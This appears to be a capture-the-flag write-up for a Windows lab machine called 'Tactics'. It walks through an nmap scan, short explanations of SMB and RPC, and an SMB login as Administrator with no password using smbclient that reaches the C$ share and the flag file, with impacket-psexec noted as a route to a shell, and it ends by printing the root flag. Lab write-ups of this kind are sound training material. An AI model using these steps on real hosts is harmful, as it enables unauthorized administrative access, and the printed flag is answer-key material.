

MACHINE - TACTICS

IP: 10.129.243.129

Type: Windows

OPEN PORTS

```
$ nmap -sVC -T4 -Pn -p- {IP}
```

- [1] 135/tcp msrpc **Microsoft Windows RPC**
- [2] 139/tcp netbios-ssn **Microsoft Windows netbios-ssn**
- [3] 445/tcp microsoft-ds?

Microsoft-DS is the name given to port 445 which is used by SMB (Server Message Block). SMB is a network protocol used mainly in Windows networks for sharing resources (e.g. files or printers) over a network. It can also be used to remotely execute commands. SMB ports are generally 139 and 445. Port 139 is used by SMB dialects that communicate over NetBIOS. It's a session layer protocol designed to use in Windows operating systems over a local network. Port 445 is used to communicate outside the LAN.

netbios-ssn. The session service facilitates the connection-oriented communication between devices in LAN. When two devices need to exchange data, they established a session using the session service. Hence, it provides services related to the session layer of the OSI model allowing applications on separate computers to communicate over LAN.

Remote Procedure Call service supports communication between Windows applications. Specifically, the service implement the RPC protocol - a low-level form of inter-process communication where a client process can make requests of a server process.

ENUMERATING SHARINGS

- SMB service is compose of *sharings* inside a *Workgroup*
- Some of these sharings are administrative accessible
- Some others can be accessed by everyone
- We can try to enumerate those sharings using the following command

```
$ smbclient -N -L //{IP}
```

- -N = No password required, -L = list all sharings
- However, we obtain a NT_STATUS_ACCESS_DENIED

- We can try to also give the administrator username, let's say 'Administrator'

```
$ smbclient -U Administrator -L //{IP}
```

- We obtain the following response

Sharename	Type	Comment
-----	----	-----
ADMIN\$	Disk	Remote Admin
C\$	Disk	Default share
IPC\$	IPC	Remote IPC

- As we can see there two interesting shares (do not consider IPC\$)
- Let's see if we can obtain a session on one of them

```
$ smbclient -U Administrator \\\\[IP]\\ADMIN$
```

```
smb: \> ls
```

```
...
```

- There is nothing special, let's try with the other one (maybe C is the name of the disk)

```
$ smbclient -U Administrator \\\\[IP]\\C$
```

```
smb: \> ls
```

\$Recycle.Bin	DHS	0	Wed Apr 21 17:23:49 2021
Config.Msi	DHS	0	Wed Jul 7 20:04:56 2021
Documents and Settings	DHSrn	0	Wed Apr 21 17:17:12 2021
pagefile.sys	AHS 738197504		Wed Apr 24 17:33:24 2024
PerfLogs	D	0	Sat Sep 15 09:19:00 2018
Program Files	DR	0	Wed Jul 7 20:04:24 2021
Program Files (x86)	D	0	Wed Jul 7 20:03:38 2021
ProgramData	DH	0	Tue Sep 13 18:27:53 2022
Recovery	DHSn	0	Wed Apr 21 17:17:15 2021
System Volume Information	DHS	0	Wed Apr 21 17:34:04 2021
Users	DR	0	Wed Apr 21 17:23:18 2021
Windows	D	0	Wed Jul 7 20:05:23 2021

```
smb: \> cd Users\Administrator\Desktop
```

```
smb: \Users\Administrator\Desktop> ls
```

.	DR	0	Thu Apr 22 09:16:03 2021
..	DR	0	Thu Apr 22 09:16:03 2021
desktop.ini	AHS	282	Wed Apr 21 17:23:32 2021
flag.txt	A	32	Fri Apr 23 11:39:00 2021

```
smb: \Users\Administrator\Desktop> get flag.txt
```

```
smb: \Users\Administrator\Desktop> exit
```

```
$ cat flag.txt
```

- We have found the flag
- Notice that we could also have used an alternative to get a shell on the system
- using `psexec` from the Impacket framework

```
$ sudo impacket-psexec Administrator@{IP}
```

FLAGS

ROOT: f751c19eda8f61ce81827e6930a1f40c